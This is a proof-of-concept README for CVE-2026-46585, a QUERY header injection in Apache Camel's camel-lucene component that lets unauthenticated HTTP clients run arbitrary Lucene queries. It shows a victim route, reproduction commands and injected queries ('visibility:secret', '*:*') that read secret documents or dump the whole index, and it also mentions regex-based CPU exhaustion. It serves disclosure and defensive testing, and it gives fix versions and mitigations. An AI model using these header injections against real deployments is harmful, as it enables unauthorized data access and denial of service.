## https://sploitus.com/exploit?id=F5E023A2-C7C3-5887-AB84-C29A4625D1A7
# camel-lucene `QUERY` Header Injection Reproducer (CVE-2026-46585)
This project demonstrates a **message-header injection / authorization bypass** in Apache Camel's `camel-lucene`
component, tracked as **CVE-2026-46585**. The Lucene query producer reads the full-text search phrase from an
Exchange header, but the header's name was the plain string **`QUERY`** (and **`RETURN_LUCENE_DOCS`** for the
docs flag). Because these names do **not** start with the `Camel` / `camel` prefix, `HttpHeaderFilterStrategy` โ
which blocks only the Camel header namespace at the HTTP boundary โ let them pass from an inbound HTTP request
straight into the Exchange. Any HTTP client hitting a route that exposes a Lucene query behind an HTTP consumer
can therefore set the `QUERY` header and have its value executed against the index, **overriding the query the
route intended to run**.
This PoC demonstrates the impact as **authorization bypass / data exfiltration**: an unauthenticated client
injects raw Lucene query syntax to read a document the public search endpoint was never meant to return (and a
match-all query dumps the entire index).
Advisory: https://camel.apache.org/security/CVE-2026-46585.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-lucene` |
| **Affected Class** | `org.apache.camel.component.lucene.LuceneQueryProducer` reading `LuceneConstants.HEADER_QUERY` (value `"QUERY"`) |
| **CWE** | CWE-20 (Improper Input Validation) / CWE-639 (Authorization Bypass Through User-Controlled Key) |
| **Impact** | An HTTP client sets the `QUERY` header โ arbitrary Lucene query executed โ read documents outside the intended scope, or CPU-heavy regex queries |
| **Preconditions** | A route exposes a `lucene:...:query` producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23509 |
| **Credit** | Andrea Cosentino (Apache Software Foundation) and Yu Bao (PayPal) |
> Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 and CVE-2026-46457, and shares
> the non-`Camel`-prefixed header-constant root cause with the camel-elasticsearch `SEARCH_QUERY` sibling.
## Technical Details
```java
// LuceneConstants (affected 4.18.2) โ the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) โ the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
```
`LuceneSearcher` parses the phrase with a classic `QueryParser("contents", analyzer)`, so the attacker gets full
Lucene query syntax: fielded terms (`visibility:secret`), match-all (`*:*`), wildcards, and expensive regular
expressions.
The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renames the header **values** to the Camel convention โ
`HEADER_QUERY` from `QUERY` to `CamelLuceneQuery`, and `HEADER_RETURN_LUCENE_DOCS` to
`CamelLuceneReturnLuceneDocs` โ so they are filtered on the HTTP boundary like every other Camel control header.
The constant field names are unchanged (routes referencing `LuceneConstants.HEADER_QUERY` keep working); it is a
breaking change only for routes that set/read these headers by their raw string value.
## The victim route
```java
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening โ see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
```
The route author's security model is "this endpoint only serves **public** search". As documented hardening the
route even strips the Camel control-header namespace at the edge with `removeHeaders("Camel*")`. **That does not
help**: the control header is named `QUERY`, not `CamelLuceneQuery`, so it is stripped by neither that call nor
the built-in HTTP header filter โ which is exactly the point of the CVE (and exactly what the fix's rename
addresses).
The index contains three public documents plus one secret document tagged `visibility:secret` whose body carries
a benign flag marker. A normal public search (`QUERY=onboarding`, a plain term against the default `contents`
field) never returns it; an injected fielded query does.
## Repository layout
The **victim** is the Camel search route and its index; the **attacker** is an unauthenticated HTTP client that
only sets a request header. Everything runs in a single self-contained app.
```
CVE-2026-46585/
โโโ pom.xml # camel-platform-http + camel-lucene 4.18.2
โโโ Dockerfile
โโโ docker-compose.yml # single self-contained service
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
โ โโโ IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
โ โโโ VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
โ โโโ ExploitController.java # attacker: GET /search with an injected QUERY header
โโโ resources/
โโโ application.properties
```
## Prerequisites
- Java 17+ and Maven 3.8+
- Docker (optional, for the containerised run)
## Reproduction Steps
### Option A โ Docker (recommended)
```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### Option B โ run the jar directly
```bash
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```
### Expected output
```
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof โ an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
```
The legitimate term search returns only public documents. The attack request โ differing only by the value of a
single header the framework should have filtered โ reads the secret document, and a match-all query returns the
entire index.
## Attack Vectors
Any route with a `lucene:...:query` producer reachable from an HTTP consumer. Beyond reading unintended
documents, the attacker can:
- Replace a route's intended per-user/tenant filter with `*:*` or a different field predicate (authorization
bypass).
- Submit expensive wildcard / regular-expression queries to burn CPU (denial of service).
## Recommended Fix
Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23509). After upgrading, routes that set the query via the raw
header name must use **`CamelLuceneQuery`** (and **`CamelLuceneReturnLuceneDocs`**) instead of `QUERY` /
`RETURN_LUCENE_DOCS`; these Camel-namespaced names are filtered at the HTTP boundary like every other control
header.
## Mitigation
Until upgrading:
1. Strip the attacker-controllable headers before the Lucene producer and set the query from a trusted source:
`.removeHeader("QUERY")` and `.removeHeader("RETURN_LUCENE_DOCS")`, then `.setHeader("QUERY", constant(...))`
(or build it from validated input) at the start of the route.
2. Do not expose a Lucene query producer directly to untrusted HTTP clients without an authorization check on
what may be queried.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.